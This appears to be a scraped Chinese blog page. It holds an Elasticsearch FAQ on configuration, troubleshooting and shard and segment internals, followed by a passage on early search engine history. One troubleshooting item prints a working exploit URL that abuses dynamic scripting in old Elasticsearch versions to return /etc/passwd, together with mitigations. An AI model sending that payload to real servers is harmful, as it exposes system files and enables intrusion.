精华内容
下载资源
问答
  • 搜索引擎

    千次阅读 2019-07-14 18:58:09
    搜索引擎 搜索引擎 一. 什么是收索引擎 搜索引擎(Search Engine)是指:根据一定的策略、运用特定的...搜索引擎包括全文索引、目录索引、元搜索引擎、垂直搜索引擎、集合式搜索引擎、门户搜索引擎与免费链接列表 全...

    搜索引擎

    搜索引擎
    一. 什么是收索引擎
    搜索引擎(Search Engine)是指:根据一定的策略、运用特定的计算机程序从互联网上搜集信息,在对信息进行组织和处理后,为用户提供检索服务,将用户检索相关的信息展示给用户的系统。比如百度就是一款比较流行的搜索引擎。

    二.常用的收索引擎有哪些,区别
    搜索引擎包括全文索引、目录索引、元搜索引擎、垂直搜索引擎、集合式搜索引擎、门户搜索引擎与免费链接列表
    全文索引、目录索引的区别
    1、搜索引擎属于自动网站检索,而目录索引则完全依赖手工操作。
    2、搜索引擎收录网站时,只要网站本身没有违反有关的规则,一般都能登录成功。而目录索引对网站的要求则高得多,有时即使登录多次也不一定成功。
    3、在登录搜索引擎时,我们一般不用考虑网站的分类问题,而登录目录索引时则必须将网站放在一个最合适的目录。
    4、搜索引擎中各网站的有关信息都是从用户网页中自动提取的,用户的我们拥有更多的自主权;而目录索引则要求必须手工另外填写网站信息,而且还有各种各样的限制。

    三.项目中如何使用ES,

    1.下载安装elasticsearch
    2.下载安装elasticsearch-head插件,图形化界面操作
    3.将原有项目数据库数据和ES库连接同步,此处用到工具elasticsearch-jdbc
    4.将查询或操作的数据源切换到ES库

    四.ES的HEAD插件有什么作用,
    1.显示集群的拓扑,并且能够执行索引和节点级别操作
    2.搜索接口能够查询集群中原始json或表格格式的检索数据
    3.能够快速访问并显示集群的状态
    4.有一个输入窗口,允许任意调用RESTful API。这个接口包含几个选项,可以组合在一起以产生不同的结果;
    5.请求方法(get、put、post、delete),查询json数据,节点和路径
    6.支持JSON验证器
    7.支持重复请求计时器
    8.支持使用javascript表达式变换结果
    五.ES如何配置IK分词器,常用分词器区别
    https://www.cnblogs.com/buxiangbuliang/p/9488162.html
    六.如何自定义词库
    https://blog.csdn.net/Barbarousgrowth_yp/article/details/80242811

    七.如何实现ES和数据库同步
    https://blog.csdn.net/qq_40670946/article/details/82181005

    八.项目使用情况,以及解决
    1.由gc引起节点脱离集群

    因为gc时会使jvm停止工作,如果某个节点gc时间过长,master ping3次(zen discovery默认ping失败重试3次)不通后就会把该节点剔除出集群,从而导致索引进行重新分配。

    解决方法:

    (1)优化gc,减少gc时间。

    (2)调大zen discovery的重试次数(es参数:ping_retries)和超时时间(es参数:ping_timeout)。

    后来发现根本原因是有个节点的系统所在硬盘满了。导致系统性能下降。

    2.out of memory错误

    因为默认情况下es对字段数据缓存(Field Data Cache)大小是无限制的,查询时会把字段值放到内存,特别是facet查询,对内存要求非常高,它会把结果都放在内存,然后进行排序等操作,一直使用内存,直到内存用完,当内存不够用时就有可能出现out of memory错误。

    解决方法:

    (1)设置es的缓存类型为Soft Reference,它的主要特点是据有较强的引用功能。只有当内存不够的时候,才进行回收这类内存,因此在内存足够的时候,它们通常不被回收。另外,这些引 用对象还能保证在Java抛出OutOfMemory 异常之前,被设置为null。它可以用于实现一些常用图片的缓存,实现Cache的功能,保证最大限度的使用内存而不引起OutOfMemory。在es的配置文件加上index.cache.field.type: soft即可。

    (2)设置es最大缓存数据条数和缓存失效时间,通过设置index.cache.field.max_size: 50000来把缓存field的最大值设置为50000,设置index.cache.field.expire: 10m把过期时间设置成10分钟。

    3.无法创建本地线程问题

    es恢复时报错: RecoverFilesRecoveryException[[index][3] Failed to transfer [215] files with total size of [9.4gb]]; nested: OutOfMemoryError[unable to create new native thread]; ]]

    刚开始以为是文件句柄数限制,但想到之前报的是too many open file这个错误,并且也把数据改大了。查资料得知一个进程的jvm进程的最大线程数为:虚拟内存/(堆栈大小10241024),也就是说虚拟内存越大或堆栈越小,能创建的线程越多。重新设置后还是会报那这错,按理说可创建线程数完全够用了的,就想是不是系统的一些限制。后来在网上找到说是max user processes的问题,这个值默认是1024,这个参数单看名字是用户最大打开的进程数,但看官方说明,就是用户最多可创建线程数,因为一个进程最少有一个线程,所以间接影响到最大进程数。调大这个参数后就没有报这个错了。

    解决方法:

    (1)增大jvm的heap内存或降低xss堆栈大小(默认的是512K)。

    (2)打开/etc/security/limits.conf ,把soft nproc 1024这行的1024改大就行了。

    4.集群状态为黄色时并发插入数据报错

    [7]: index [index], type [index], id [1569133], message [UnavailableShardsException[[index][1] [4] shardIt, [2] active : Timeout waiting for [1m], request: org.elasticsearch.action.bulk.BulkShardRequest@5989fa07]]

    这是错误信息,当时集群状态为黄色,即副本没有分配。当时副本设置为2,只有一个节点,当你设置的副本大于可分配的机器时,此时如果你插入数据就有可能报上面的错,因为es的写一致性默认是使用quorum,即quorum值必须大于(副本数/2+1),我这里2/2+1=2也就是说要要至少插入到两份索引中,由于只有一个节点,quorum等于1,所以只插入到主索引,副本找不到从而报上面那个错。

    解决方法:

    (1)去掉没分配的副本。

    (2)把写一致性改成one,即只写入一份索引就行。

    5.设置jvm锁住内存时启动警告

    当设置bootstrap.mlockall: true时,启动es报警告Unknown mlockall error 0,因为linux系统默认能让进程锁住的内存为45k。

    解决方法:设置为无限制,linux命令:ulimit -l unlimited

    6.错误使用api导致集群卡死

    其实这个是很低级的错误。功能就是更新一些数据,可能会对一些数据进行删除,但删除时同事使用了deleteByQuery这个接口,通过构造BoolQuery把要删除数据的id传进去,查出这些数据删除。但问题是BoolQuery最多只支持1024个条件,100个条件都已经很多了,所以这样的查询一下子就把es集群卡死了。

    解决方法:用bulkRequest进行批量删除操作。

    7.org.elasticsearch.transport.RemoteTransportException: Failed to deserialize exception response from stream

    原因:es节点之间的JDK版本不一样

    解决方法:统一JDK环境

    8 . org.elasticsearch.client.transport.NoNodeAvailableException: No node available

    1) 端口错

    client = new TransportClient().addTransportAddress(new InetSocketTransportAddress(ipAddress, 9300));

    这里9300 写成9200的话会No node available

    要是你连的不是本机,注意IP有没有正确

    2 )jar报引用版本不匹配,开启的服务是什么版本,引用的jar最好匹配(这个我没有去试,反正我的是匹配的)

    3) 要是你改了集群名字,还有设置集群名字

    Settings settings = ImmutableSettings.settingsBuilder().put(“cluster.name”, “xxx”).build(); client = new TransportClient(settings).addTransportAddress(new InetSocketTransportAddress(ipAddress, 9300));

    4)集群超过5s没有响应

    解决方法1.设置client.transport.ping_timeout设大

    2.代码内加入while (true) {

    try {

    bulk.execute().actionGet(getRetryTimeout());

    break;

    }

    catch (NoNodeAvailableException cont) {

    Thread.sleep(5000);

    continue;

    }

    }

    9.elasticsearch 近日被发现漏洞,可以远程执行任意代码,由于 elasticsearch提供了http接口,导致可能通过CSRF等方式借助恶意页面浏览发生攻击 。

    漏洞影响版本:

    elasticsearch 1.2以下

    测试代码:

    http:// ESSERVERIP :9200/search?source=%7B%22size%22%3A1%2C%22query%22%3A%7B%22filtered%22%3A%7B%22query%22%3A%7B%22match_all%22%3A%7B%7D%7D%7D%7D%2C%22script_fields%22%3A%7B%22%2Fetc%2Fhosts%22%3A%7B%22script%22%3A%22import%20java.util.%3B%5Cnimport%20java.io.%3B%5Cnnew%20Scanner(new%20File(%5C%22%2Fetc%2Fhosts%5C%22)).useDelimiter(%5C%22%5C%5C%5C%5CZ%5C%22).next()%3B%22%7D%2C%22%2Fetc%2Fpasswd%22%3A%7B%22script%22%3A%22import%20java.util.%3B%5Cnimport%20java.io.%3B%5Cnnew%20Scanner(new%20File(%5C%22%2Fetc%2Fpasswd%5C%22)).useDelimiter(%5C%22%5C%5C%5C%5CZ%5C%22).next()%3B%22%7D%7D%7D&callback=jQuery111102863897154977554_1400571156308&=1400571156309

    浏览器会返回/etc/passwd内容

    解决方案 :

    1、在配置文件elasticsearch.yml里设置script.disable_dynamic: true

    2、严格限制可访问elasticsearch服务的IP地址

    九.个人补充
    简介
    ElasticSearch(以下简称ES)是一个基于Lucene构建的开源(open-source),分布式(distributed),RESTful,实时(real-time)的搜索与分析(analytics)引擎。它可以让你在浏览数据时具备非常快的速度和优秀的可扩展性。它用于全文索引、结构化数据索引、数据分析以及三者的结合。它可以运行在你的笔记本上,或者扩展至数百台的服务器节点上来处理PB级的数据。 ES建立在Lucene的基础之上,但是Lucene仅仅是一个库,如果要发挥它的优势,你必须使用它然后再结合自己的开发来构造一个具体的应用。更坏的是你必须了解Lucene才能更好的使用它,但是Lucene本身就很复杂。所以ES意在取Lucene的优点,隐蔽其复杂性来构造一个简洁易用的RESTful风格的全文搜索引擎。
    与关系型数据库的名词对照
    Relational DB => Databases => Tables => Rows => Columns Elasticsearch => Indices => Types => Documents => Fields
    设计原理
    创建一个索引—index,shard,cluster
    将数据添加到ES的前提是,我们需要一个索引(名词):index——一个存储与这个索引相对应数据的地方。实际上,index仅仅只是一个命名空间来指向一个或多个实际的物理分片(shard)。
    一个分片(shard)是一个比较低层的工作单元来处理这个索引(index)的所有数据的一个切片(slice)。一个shard实际上是一个Lucene实例,在它的能力范围内拥有完整的搜索功能(在处理它自己拥有的数据时有所有的功能)。我们所有文档的索引indexed(动词)和存储工作都是在shard上,但这是透明的,我们不需要直接和shard通信,而是和我们创建的index(名词)通信。
    shards是ES将数据分布式在你的集群的关键。想象下shards是数据的容器,文档存储在shards里,而shards被分配在集群的每一个节点Node里。当你的集群规模增长和降低时,ES会自动的在Nodes间迁移shards以保持集群的负载均衡。
    shard的分类与作用:
    shard可分为primary shard和replica shard。 在一个index里的每一个文档都属于一个单独的primary shard,所以primary shard的数量决定了你最大能存储的数据量(对应于一个index)。
    注意:shard是归属与index的,而不是cluster的。
    replica shard是primary shard的拷贝。replica有两个作用: 1.冗余容灾 2.提供读请求服务,例如搜索或读取文档
    primary shard的数量在索引创建时确定后不能修改,replica可以在任何时候修改。 例: 见Figure2,在2.1的集群上创建一个index,拥有3个primary shards以及1个replica shards。

    由于只有一台Node,而Primary shard的Replicas与其在同一台节点上毫无意义,所以集群没有初始化replicas,这时添加另外一台Node。见Figure3,每一个primary shard初始化了一个replica。

    2.3 水平扩容
    当我们继续添加一台节点时,Node1和Node2中的各取一个shard移动到了Node3.见Figure4

    这样,我们每一台Node上只有两个shard。这就意味着每一台Node的硬件资源(CPU,RAM,I/O)将会被更少的shards共享,提高了每一个shard的性能。在这个案例中,6个shards最多可使用6台Node,这样每个shard就可以使用100%的node硬件资源。
    现在我们修改replica的数量到2,如Figure5

    这样我们就有了一个3primary shards,6replica shards的Cluster。我们可将Node提高到9台。水平扩容了集群性能。
    2.4 容灾
    我们杀掉的是master节点。一个Cluster必须要有master以保证集群的功能正常。所以集群要做的第一件事是选择一个新的master:Node2. 当我们杀掉1节点时,Primary shards 1和2丢失了。如果丢失了primary shard,index(名词)将不能正常的工作。此时P1和P2的拷贝存在Node2和Node3上。所以此时新升级的master(Node2)将做的第一件事就是将NODE2和NODE3上的replica shard1和replica shard2升级为primary shard。此时如果我们杀掉NODE2,整个集群的容灾过程同理,还是可以正常运行。
    这时,如果我们重启了NODE1,cluster将会重新分配缺少的两个replica shards(现在每个primary shard只有2个replicas,配置是3个,缺少2个)。如果NODE1的数据是旧的,那么它将会继续利用它们,NODE1只会从现在的Primary Shards拷贝这期间更改的数据。
    2.5 分布式文档存储
    2.5.1 Shards文档路由
    当你对一个文档建立索引时,它仅存储在一个primary shard上。ES是怎么知道一个文档应该属于哪个shard?当你创建一个新的文档时,ES是怎么知道应该把它存储至shard1还是shard2? 这个过程不能随机无规律的,因为以后我们还要将它取出来。它的路由算法是:
    shard = hash(routing) % numberofprimary_shards
    routing的值可以是文档的id,也可以是用户自己设置的一个值。hash将会根据routing算出一个数值然后%primaryshards的数量。这也是为什么primary_shards在index创建时就不能修改的原因。
    问题:当看到这里时,产生了一个问题:ES为什么要这样设计路由算法,这样就强制使primaryshards不可变,不利于以后index的扩容,除非事前就要对数据规模有所评估来设计可扩展的index。为什么不能使用一致性hash解决primaryshards改变时的情况呢?
    2.5.2 Primary/Replica Shards的交互
    假如我们有Figure8的集群。我们可以向这个集群的任何一台NODE发送请求,每一个NODE都有能力处理请求。每一个NODE都知道每一个文档所在的位置所以可以直接将请求路由过去。下面的例子,我们将所有的请求都发送到NODE1。

    注:最好的实践方式是轮询所有的NODE来发送请求,以达到请求负载均衡。
    写操作
    创建、索引、删除文档都是写操作,这些操作必须在primary shard完全成功后才能拷贝至其对应的replicas上。见Figure9。

    下面是Figure9的步骤:
    1.客户端向Node1发送写操作的请求。
    2.Node1使用文档的_id来决定这个文档属于shard0,然后将请求路由至NODE3,P0所在的位置。
    3.Node3在P0上执行了请求。如果请求成功,则将请求并行的路由至NODE1 NODE2的R0上。当所有的replicas报告成功后,NODE3向请求的node(NODE1)发送成功报告,NODE1再报告至Client。
    当客户端收到执行成功后,操作已经在Primary shard和所有的replica shards上执行成功了。
    当然,有一些请求参数可以修改这个逻辑。见原文。
    读操作
    一个文档可以在primary shard和所有的replica shard上读取。见Figure10

    读操作步骤:
    1.客户端发送Get请求到NODE1。
    2.NODE1使用文档的_id决定文档属于shard 0.shard 0的所有拷贝存在于所有3个节点上。这次,它将请求路由至NODE2。
    3.NODE2将文档返回给NODE1,NODE1将文档返回给客户端。 对于读请求,请求节点(NODE1)将在每次请求到来时都选择一个不同的replica。
    shard来达到负载均衡。使用轮询策略轮询所有的replica shards。
    更新操作
    更新操作,结合了以上的两个操作:读、写。见Figure11

    步骤:
    1.客户端发送更新操作请求至NODE1
    2.NODE1将请求路由至NODE3,Primary shard所在的位置
    3.NODE3从P0读取文档,改变source字段的JSON内容,然后试图重新对修改后的数据在P0做索引。如果此时这个文档已经被其他的进程修改了,那么它将重新执行3步骤,这个过程如果超过了retryon_conflict设置的次数,就放弃。
    4.如果NODE3成功更新了文档,它将并行的将新版本的文档同步到NODE1和NODE2的replica shards重新建立索引。一旦所有的replica
    shards报告成功,NODE3向被请求的节点(NODE1)返回成功,然后NODE1向客户端返回成功。
    2.6 Shard
    本节将解决以下问题:
    为什么搜索是实时的
    为什么文档的CRUD操作是实时的
    ES怎么保障你的更新在宕机的时候不会丢失
    为什么删除文档不会立即释放空间
    2.6.1不变性

    写到磁盘的倒序索引是不变的:自从写到磁盘就再也不变。 这会有很多好处:
    不需要添加锁。如果你从来不用更新索引,那么你就不用担心多个进程在同一时间改变索引。
    一旦索引被内核的文件系统做了Cache,它就会待在那因为它不会改变。只要内核有足够的缓冲空间,绝大多数的读操作会直接从内存而不需要经过磁盘。这大大提升了性能。
    其他的缓存(例如fiter cache)在索引的生命周期内保持有效,它们不需要每次数据修改时重构,因为数据不变。
    写一个单一的大的倒序索引可以让数据压缩,减少了磁盘I/O的消耗以及缓存索引所需的RAM。
    当然,索引的不变性也有缺点。如果你想让新修改过的文档可以被搜索到,你必须重新构建整个索引。这在一个index可以容纳的数据量和一个索引可以更新的频率上都是一个限制。
    2.6.2动态更新索引
    如何在不丢失不变形的好处下让倒序索引可以更改?答案是:使用不只一个的索引。 新添额外的索引来反映新的更改来替代重写所有倒序索引的方案。 Lucene引进了per-segment搜索的概念。一个segment是一个完整的倒序索引的子集,所以现在index在Lucene中的含义就是一个segments的集合,每个segment都包含一些提交点(commit point)。见Figure16。新的文档建立时首先在内存建立索引buffer,见Figure17。然后再被写入到磁盘的segment,见Figure18。

    一个per-segment的工作流程如下:
    1.新的文档在内存中组织,见Figure17。
    2.每隔一段时间,buffer将会被提交: 一个新的segment(一个额外的新的倒序索引)将被写到磁盘 一个新的提交点(commit point)被写入磁盘,将包含新的segment的名称。 磁盘fsync,所有在内核文件系统中的数据等待被写入到磁盘,来保障它们被物理写入。
    3.新的segment被打开,使它包含的文档可以被索引。
    4.内存中的buffer将被清理,准备接收新的文档。
    当一个新的请求来时,会遍历所有的segments。词条分析程序会聚合所有的segments来保障每个文档和词条相关性的准确。通过这种方式,新的文档轻量的可以被添加到对应的索引中。
    删除和更新
    segments是不变的,所以文档不能从旧的segments中删除,也不能在旧的segments中更新来映射一个新的文档版本。取之的是,每一个提交点都会包含一个.del文件,列举了哪一个segmen的哪一个文档已经被删除了。 当一个文档被”删除”了,它仅仅是在.del文件里被标记了一下。被”删除”的文档依旧可以被索引到,但是它将会在最终结果返回时被移除掉。
    文档的更新同理:当文档更新时,旧版本的文档将会被标记为删除,新版本的文档在新的segment中建立索引。也许新旧版本的文档都会本检索到,但是旧版本的文档会在最终结果返回时被移除。
    2.6.3实时索引
    在上述的per-segment搜索的机制下,新的文档会在分钟级内被索引,但是还不够快。 瓶颈在磁盘。将新的segment提交到磁盘需要fsync来保障物理写入。但是fsync是很耗时的。它不能在每次文档更新时就被调用,否则性能会很低。 现在需要一种轻便的方式能使新的文档可以被索引,这就意味着不能使用fsync来保障。 在ES和物理磁盘之间是内核的文件系统缓存。之前的描述中,Figure19,Figure20,在内存中索引的文档会被写入到一个新的segment。但是现在我们将segment首先写入到内核的文件系统缓存,这个过程很轻量,然后再flush到磁盘,这个过程很耗时。但是一旦一个segment文件在内核的缓存中,它可以被打开被读取。

    2.6.4更新持久化
    不使用fsync将数据flush到磁盘,我们不能保障在断电后或者进程死掉后数据不丢失。ES是可靠的,它可以保障数据被持久化到磁盘。 在2.6.2中,一个完全的提交会将segments写入到磁盘,并且写一个提交点,列出所有已知的segments。当ES启动或者重新打开一个index时,它会利用这个提交点来决定哪些segments属于当前的shard。 如果在提交点时,文档被修改会怎么样?不希望丢失这些修改:
    1.当一个文档被索引时,它会被添加到in-memory buffer,并且添加到Translog日志中,见Figure21.

    2.refresh操作会让shard处于Figure22的状态:每秒中,shard都会被refreshed:

    在in-memory buffer中的文档会被写入到一个新的segment,但没有fsync。
    in-memory buffer被清空
    3.这个过程将会持续进行:新的文档将被添加到in-memory buffer和translog日志中,见Figure23

    4.一段时间后,当translog变得非常大时,索引将会被flush,新的translog将会建立,一个完全的提交进行完毕。见Figure24

    在in-memory中的所有文档将被写入到新的segment
    内核文件系统会被fsync到磁盘。
    旧的translog日志被删除
    translog日志提供了一个所有还未被flush到磁盘的操作的持久化记录。当ES启动的时候,它会使用最新的commit point从磁盘恢复所有已有的segments,然后将重现所有在translog里面的操作来添加更新,这些更新发生在最新的一次commit的记录之后还未被fsync。
    translog日志也可以用来提供实时的CRUD。当你试图通过文档ID来读取、更新、删除一个文档时,它会首先检查translog日志看看有没有最新的更新,然后再从响应的segment中获得文档。这意味着它每次都会对最新版本的文档做操作,并且是实时的。
    2.6.5 Segment合并
    通过每隔一秒的自动刷新机制会创建一个新的segment,用不了多久就会有很多的segment。segment会消耗系统的文件句柄,内存,CPU时钟。最重要的是,每一次请求都会依次检查所有的segment。segment越多,检索就会越慢。
    ES通过在后台merge这些segment的方式解决这个问题。小的segment merge到大的,大的merge到更大的。。。
    这个过程也是那些被”删除”的文档真正被清除出文件系统的过程,因为被标记为删除的文档不会被拷贝到大的segment中。
    合并过程如Figure25:

    1.当在建立索引过程中,refresh进程会创建新的segments然后打开他们以供索引。
    2.merge进程会选择一些小的segments然后merge到一个大的segment中。这个过程不会打断检索和创建索引。
    3.Figure26,一旦merge完成,旧的segments将被删除
    新的segment被flush到磁盘
    一个新的提交点被写入,包括新的segment,排除旧的小的segments
    新的segment打开以供索引
    旧的segments被删除
    merge大的segments会消耗大量的I/O和CPU,严重影响索引性能。默认,ES会节制merge过程来给留下足够多的系统资源。

    展开全文
  • 本搜索引擎为好问团队自主研发,现在正式对外开源,将帮助更多站长轻松建立自己的搜索引擎网站。 二、使用说明 (一)部署环境 1.Windows平台,推荐Windows2003+IIS6.0以上; 2.Microsoft .NET Framework 2.0 ...
  • 搜索引擎介绍

    千次阅读 2017-02-06 11:41:51
    自从1994年问世以来,搜索引擎逐渐成为了人们获取Internet信息资源的主要方式,相关搜索引擎网站也逐渐成为Web用户使用Internet时的首选访问站点之一,另外搜索引擎和实时通讯、电子邮件等服务已经成为当今各大门户...

    自从1994年问世以来,搜索引擎逐渐成为了人们获取Internet信息资源的主要方式,相关搜索引擎网站也逐渐成为Web用户使用Internet时的首选访问站点之一,另外搜索引擎和实时通讯、电子邮件等服务已经成为当今各大门户网站用来吸引用户访问的三大主要方式。据iResearch艾瑞咨询报告说明,2009年中国搜索引擎市场规模达69.6亿元,年同比增38.5%。搜索引擎市场规模在网络广告市场规模占比也已达33.6%,相比2008年的29.6%上升4.0个百分点[1]。这些都充分说明搜索引擎已经成为Internet上一种重要的网站类型。

    利用搜索引擎获取Internet信息资源也是网络用户常见的访问操作。本章首先主要介绍了搜索引擎在国外和国内的发展历史和现状,通过对此问题的了解,有助于我们认识搜索引擎的特点,如为什么搜索引擎是现在这个样子?为什么该这样使用搜索引擎?这些都是我们需要回答的问题;其次,本章还简单讨论了一下搜索引擎的基本原理,以此来加深读者对搜索引擎的了解,从而更好的帮助读者使用搜索引擎。事实上,有时候我们会觉得搜索引擎不是很好用,个中原因很复杂,但是有一点是肯定的,如果我们越了解搜索引擎,我们就会越能有效的使用搜索引擎。

    1.1 搜索引擎的发展

    搜索引擎这个名称比较古怪,来自于它的英文名称:Search Engine,言下之意,它是一种查询信息的发动机。可以说,整个搜索引擎的发展历史就是Internet网络的发展历史,因为网络用户一直存在着从大量网络信息中获取自己所需信息的需求,而且这种需求随着Internet的快速增加而日渐迫切。

    按照查询技术的发展过程,搜索引擎的发展经历过三个主要阶段:第一阶段时间跨度大致为1990年到1998年,这个时期的搜索引擎主要着力于解决如何快速有效的从大量网页中获取较为完整的搜索结果,开始使用爬虫等信息收集方式和使用Web目录等信息组织方式,代表性的搜索引擎有Altavista等;第二阶段时间跨度大致为1998年到2004年,此时的Internet规模已经相当庞大,查询结果是否完整似乎已经没有太大意义,相反搜索引擎开始努力在查询质量和命中网页结果的相关排序上来提高用户的满意度,基于网页链接分析的算法逐渐被搜索引擎广泛采用,Google就是典型的代表;第三阶段时间跨度为2004年至今,各大搜索引擎不断应用先进的技术来改进功能,如增加多媒体信息查询功能、个性化搜索引擎功能等。

    1.1.1 国外搜索引擎的发展历史

    应该说,如果没有Internet就没有搜索引擎。但是,在Internet出现之前,很多人所提出的思想和见解却深深的影响了现代搜索引擎的出现和发展。比较著名的有两个人物。

    1945年,万尼瓦尔·布什(Vannevar Bush)在《大西洋月刊(The Atlantic Monthly)》上发表了一篇重要的文章《As We May Think》(中文译名为“诚若所思”)。虽然那个时代还没有计算机,但是在这篇文章中,作者提到了类似于超文本的思想,同时还指出未来的世界会出现一种独立于人类大脑以外的知识扩展体(Memory Extension),该物体具有无限大的虚拟空间,可以很好的扩展,同时还能提供有效的信息获取方法,作者称之为“Memex”。该文如图3. 1所示:

    clip_image002

    3. 1 《大西洋月刊》上的《诚若所思》一文(截取于2010-3)

    万尼瓦尔·布什大胆的预测了未来人类可能会面临的信息处理困境,这是他书中的原话“The difficulty seems to be, not so much that we publish unduly in view of the extent and variety of present day interests, but rather that publication has been extended far beyond present ability to make real use of the record”。

    然而,万尼瓦尔·布什并没有在技术上给出实现。20世纪六七十年代美国康奈尔大学(Cornell University)的杰勒德·沙顿(Gerard Salton)教授在信息检索技术方面做出了很多贡献,很多技术直到今天还在搜索引擎中得到广泛的应用,如空间向量模型、词频、倒文档频率和相关度反馈等技术,他甚至还研发了SMART信息检索原型系统。

    1.1.1.1 早期的搜索引擎

    相对于其他类型的信息服务类型,Internet使用WWW服务的时间是比较晚的。所以,早期的Internet并不存在类似于今天的搜索引擎,但是仍然出现了很多相似的工具。

    1)Archie

    1990年,加拿大蒙特利尔的麦吉尔大学(McGill University)的三位学生Alan Emtage、Peter Deutsch、Bill Wheelan发明了Archie,据称这个名称来自于“Archive(档案文件)”的缩写。当时的Internet可以提供诸如FTP等文件信息服务,然而用户却缺乏一种直接查询FTP文件所在地址的工具。而Archie恰恰可以自动索引Internet上匿名的免费FTP文件信息,并提供一种根据文件名称查询文件所在FTP地址的方法。因此,Archie被称为现代搜索引擎的祖先。然而,客观的讲,它并非一个真正的搜索引擎。原因有两个:一是它只能搜索FTP文件资源,并不能获取诸如网页等其他类型的文件资源,因此它其实是世界上第一个FTP搜索引擎;二是它没有机器人(Robot)程序,不能象今天的搜索引擎那样快速有效的抓取Internet上的网页文章内容,相反它使用的是一个基于脚本的文件名称收集器,并通过正则表达式来匹配用户查询与文件名称来实现查询,并通过文件列表的方式提供信息查询结果。

    2)World wide Web Wanderer

    现代搜索引擎之所以可以查询网页信息,是因为它具有一个被称为机器人(Robot)的程序,所谓机器人程序是指可以连续不断的自动获取Internet上所有网页信息的一种程序。World wide Web Wanderer其实并不能算是搜索引擎,它只是世界上第一个机器人程序,由美国麻省理工学院(MIT)的马泰·格雷(Matthew Gray)于1993年6月开发。它通过网络自动遍历方法来统计Internet上的服务器数量,所以可以追踪Internet的发展规模,直至后来还可以专门用于获取Internet上网页的URL信息,所有的信息都被存入数据库,名字叫Wandex。由于对于性能考虑的不是太多,这个机器人程序可以在一天内连续的对同一网页进行多达几百次的遍历,因而会造成被遍历系统性能的严重下降。虽然马泰·格雷很快修复了这一问题,然而这次事故却给人们带来一个疑问:我的站点如果被别的机器人程序遍历的话,是不是会引起性能的下降?直到今天,搜索引擎在机器人设计方面仍然存在着这样的挑战。

    今天依然可以看到MIT网站上有关的网络统计历史数据,网址为:http://www.mit.edu/people/mkgray/net,如图3. 2所示:

    clip_image005 clip_image007

    3. 2 MIT网站上关于World wide Web Wanderer的信息(截取于2010-3)

    3)Veronica和Jughead

    之所以把这两个搜索引擎放在一起,是因为它们的功能很相似,出现的时间也很接近。Veronica是由美国内华达大学(University of Nevada)的系统计算服务小组(System Computing Services Group)于1991年开发。和Archie不同的地方在于,Veronica只对存在于Gopher上的普通文本文件进行查询。随后出现的Jughead也具有类似的作用,据称这个名称来自于“Jonzy's Universal Gopher Hierarchy Excavation and Display(Jonzy的统一Gopher层次性挖掘和显示工具)”。有趣的是,后人常常把Archie称之为搜索引擎之父,而把Veronica称之为搜索引擎之母。

    不过,这些工具都已经不复存在,然而人们依然可以在Internet上看到一些遗留下来的服务,如图3. 3所示:

    clip_image009

    3. 3 某站点展示的几个大学所提供的Veronica服务(截取于2007-9)

    4)ALIWEB

    ALIWEB是个划时代的搜索引擎,借助它人们首次可以对WWW网页进行全文查询。它是由马汀·考斯特(Martijn Koster)于1993年10月开发,名称含义是“类似于Archie的Web索引(Archie-Like Indexing of the Web)”,它相当于Archie的Web版本。但是,ALIWEB没有自己的机器人程序,相反它却要求愿意被ALIWEB收录的网站网管主动提交自己网站的网页索引信息,这样做的好处在于克服了机器人程序带来的带宽消耗,同时网管可以自主的描述网页内容。但缺点也是显而易见的,很多网管并不知道如何来做这个事情,甚至都不知道是否需要这样做,所以ALIWEB的网页数据库规模一直不大。ALIWEB的网址为:http://www.aliweb.com,今天依然还在运行,主页界面如图3. 4所示:

    clip_image011

    3. 4 ALIWEB搜索引擎的主页界面(截取于2010-3)

    马汀·考斯特并没有停止对搜索引擎技术的研究,他后来还成为了机器人拒绝协议(Robots Exclusion)标准的主要设计者。通过机器人拒绝协议,网站可以告知搜索引擎哪些信息是可以被搜索引擎机器人程序所遍历的,而哪些是不可以遍历的。借助这个协议,人们就可以更好的在信息公开性和保密性之间取得一种平衡。这个协议现在已经成为现代搜索引擎的标准功能之一。

    马汀·考斯特的个人主页网址为:http://www.greenhills.co.uk/mak/mak.html,如图3. 5所示:

    clip_image013

    3. 5 马汀•考斯特的个人主页(截取于2010-3)

    1.1.1.2 基于爬虫的搜索引擎

    爬虫(Crawler)是从搜索引擎机器人程序发展而来。虽然两者在功能上很相似,但是爬虫程序却可以通过分析遍历来的网页中含有的网页链接信息,自动获取下一步需要遍历的网页,这个过程可以自动的持续进行下去。爬虫是个非常形象的称呼,也有人称之为蜘蛛(Spider),它们都是一个意思,真像Internet上的一个蜘蛛爬虫,自由的跑来跑去,抓取所能获得的各种网页信息。

    爬虫程序要想能够抓取到所有的Internet网页信息,需要有个假设前提,那就是Internet上的所有网页都相互链接。事实上,这并不可能。不过,探讨这个问题意义不是很大,尤其在Internet上网页数量规模已达万亿级的今天。人们更关心能否快速找到一些最想要的信息资源而非全部的信息资源。

    1994年在搜索引擎发展历史上发生了很多具有里程碑意义的事件,那一年,各种基于爬虫的搜索引擎都纷纷出现,彻底的改变了Internet的信息环境状态。

    1)JumpStation、The World Wide Web Worm和RBSE

    到了1993年底,很多基于爬虫的搜索引擎开始出现,其中比较著名的有三个:一是英国苏格兰大学(Scotland University)开发的JumpStation,它可以自动收集网页的标题等信息,但是随着网页数量的增加,该搜索引擎却不能很好的适应这种变化,性能变得很差,最终停止了运行;二是美国科罗拉多大学(University of Colorado)的奥利弗·麦克布莱(Oliver McBryan)开发的“The World Wide Web Worm”,字面意思是万维网蠕虫,它可以自动收集网页的标题和URL等信息,而且它也是第一个解析超文本信息的搜索引擎;三是美国航空航天局(NASA)开发的RBSE,意思是基于存储库的软件技术设备(The Repository-Based Software Engineering)。它是第一个能够索引Web网页正文的搜索引擎,也是第一个能够在搜索结果排列中引入查询词语相关度概念的搜索引擎。这和前两种搜索引擎不同,它不再简单的只根据找到匹配网页信息的先后次序来排列搜索结果,而是利用网页链接分析重新设计新的结果网页排序算法,因此可以把用户最想要的相关网页放置在搜索引擎结果的最前面。

    现在这些搜索引擎都早已停止了服务,但是后来的搜索引擎基本上都采用了基于爬虫的网页信息获取方法。

    2)Excite

